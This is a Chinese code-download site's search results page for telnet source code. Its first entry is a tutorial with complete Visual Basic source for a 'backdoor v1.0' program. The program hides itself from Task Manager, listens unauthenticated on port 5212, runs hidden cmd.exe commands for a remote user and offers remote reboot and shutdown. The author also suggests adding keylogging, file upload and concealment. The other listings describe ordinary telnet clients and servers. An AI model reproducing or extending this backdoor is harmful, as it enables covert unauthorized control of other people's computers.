Welcome![Sign In][Sign Up]
Location:
Search - telnet source

Search list

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[Internet-Networkdos_tcpip

Description: 大量Dos下的tcp程序,含有很多协议如telnet,ftp,tftp等源码-Dos under a large number of tcp procedures, contains a lot of agreement, such as telnet, ftp, tftp, such as source
Platform: | Size: 145408 | Author: wzq | Hits:

[Telnet Clienttelnet101

Description: telnet工具,带源码-telnet tool, brings the source code
Platform: | Size: 222208 | Author: 李昊恩 | Hits:

[Telnet ClientGUITelnet

Description: 图形界面的远程登陆程序源代码-graphical interface remote login source code
Platform: | Size: 306176 | Author: 贾铭 | Hits:

[Telnet Servernet_telnet

Description: TelNet服务器的源程序-TelNet server source
Platform: | Size: 54272 | Author: 大海 | Hits:

[Remote Controlshutserver

Description: 用于远程控制来重启服务器源码,主要用在服务器出问题,而安排的PcAnywere又不能控制的情况,通过TelNet来访问该服务以达到重启目的。我用了很久,很不错-for remote control to restart the server source code, the main problem with the server, and the arrangement also PcAnywere beyond the control of the situation, TelNet to visit the resumption of services to meet purpose. I spent a long time, very good
Platform: | Size: 6144 | Author: | Hits:

[Windows DevelopTelnetView

Description: NT远程登陆的,VC高级编程.全部源代码。-NT remote login, VC senior programming. All source code.
Platform: | Size: 23552 | Author: 学习 | Hits:

[Telnet ServerTelnetServer

Description: 一个telnet服务器源代码,功能如下: 对文件、目录的操作,注销、重启、关闭计算机。允许/禁止屏保,反转鼠标左右键,发送信息等 -a telnet server source code, the following functions : file, directory operations, write-off, restart, shut down the computer. To allow/disallow screensavers, mouse around key reversal, send information
Platform: | Size: 22528 | Author: 冠松 | Hits:

[Internet-Network交易论坛代码(php+mysql)

Description: 典型的论坛原码,是一个使用PHP+mySQL做为数据源的二手市场程序,系统需求: 1 Linux + Apache 或者 Windows IIS/PWS 2 MySQL 3.23+:For Windows and Linux 3 Telnet 或者一个 MySQL 的 WEB 界面管理程序,phpMyAdmin 或者其它类似的。-typical forum original code, is a PHP mySQL as a source of data for the secondary market procedures, system requirements : a Linux or Windows IIS Apache/MySQL 3.23 PWS 2 : For Windows and Linux 3 MySQL Telnet or a Web interface management procedures, or phpMyAdmin similar to the other person.
Platform: | Size: 460800 | Author: 马涛 | Hits:

[Internet-Networkopentelnet

Description: 打开远程telnet服务源代码 具有强大终端模拟功能的telnet客户端工具-remote telnet service to open source code with powerful terminal emulation functions telnet client tools
Platform: | Size: 7168 | Author: 阿健 | Hits:

[Telnet Clienttelnetc

Description: telnet客户端源码 默认登陆端口23 没有解决nvt 可登陆bbs-telnet client source default landing port 23 may not solve nvt landing bulletin board
Platform: | Size: 3072 | Author: 交大人 | Hits:

[Internet-Networkputty_0.58.orig.tar

Description: putty源代码,无平台限制的telnet\ftp等程序,极负参考价值-putty source code, non- platform limit procedure and so on telnet\ftp, extremely negative reference value
Platform: | Size: 1567744 | Author: lsw | Hits:

[SymbianTelnetFloyd-1.1

Description: Symbian上的一个Telnet客户端源代码,可以让你的手机通过Telnet遥控你的服务器。-Symbian on a Telnet client source code, you can phone through your Telnet remote server.
Platform: | Size: 33792 | Author: 好 哥哥 | Hits:

[JSP/Java六个java源程序

Description: java计算器源程序 java连接lotus的代码 java实现URL带参数请求 TelnetApp 简单的聊天室应用程序 利用Javamail来发送邮件-java source code linking Lotus java achieve URL with parameters request TelnetApp simple chat room applications use to send mail Javamail
Platform: | Size: 8192 | Author: g | Hits:

[Communicationtelnet_csharp

Description: telnet的客户端c#源码 带有mstelnet server以及路由器调用的例子-telnet client c# source code with server and router mstelnet transfer using the example
Platform: | Size: 240640 | Author: dai | Hits:

[Embeded Linuxlrzsz-0.12.20.tar

Description: Linux下ztelnet 的rz、sz源码,包含XMODEM, YMODEM ZMODEM 文件传输协议 -Linux ztelnet the rz, sz source, including XMODEM. YMODEM using File Transfer Protocol
Platform: | Size: 280576 | Author: 乔大雷 | Hits:

[Other Embeded programnucleus _telnet

Description: 嵌入式操作系统Nucleus Plus下的telnet客户端程序。Nucleus Plus据说是国内装机量最大的RTOS(比Vxworks还多),本源码已经过严格测试,在数以万计的机器上正在运行。-Embedded Operating System Nucleus Plus the telnet client. Nucleus Plus is said to be the largest domestic capacity of RTOS (more than Vxworks) the source has been stringently tested in tens of thousands of machines are running.
Platform: | Size: 65536 | Author: 马克 | Hits:

[Telnet Clienttnclient_bcb

Description: BCB delphi 源码的 telnet 客户端 实现 提供 供 学习 bcb delphi 的人借鉴-BCB source telnet client available for the realization of learning moreover people from delphi
Platform: | Size: 169984 | Author: 游大人 | Hits:

[Windows Developvipcn.com-tcpip_xjj_3

Description: telnet 客户端和服务器短的源代码,供大家学习-telnet client and server source code for short, for everyone to learn
Platform: | Size: 9600000 | Author: 韩礼国 | Hits:

[Telnet Clienttelnet_c

Description: telnet的源代码实现,linux学C的可以看看了-telnet achieve the source code, the C linux school can look at the
Platform: | Size: 1024 | Author: aa | Hits:
« 1 2 3 45 6 7 8 9 10 ... 14 »

CodeBus www.codebus.net